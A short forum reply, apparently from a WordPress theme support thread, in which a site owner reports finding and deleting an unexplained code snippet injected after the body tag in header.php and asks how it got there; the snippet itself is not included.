Wombo55,
I ran into an obnoxious code snippet when I went through my header.php again. The snippet appears right after the “<body>” tag in that file. It looked like this:

It was not in the file when I originally downloaded the theme months ago, and I’m not sure why or how it got there, but once I deleted it and updated the file, the site showed no problems anymore.
Maybe if others are having this issue, they can fix it by deleting that snippet as well.
That said, I’d still love to know how it got there.
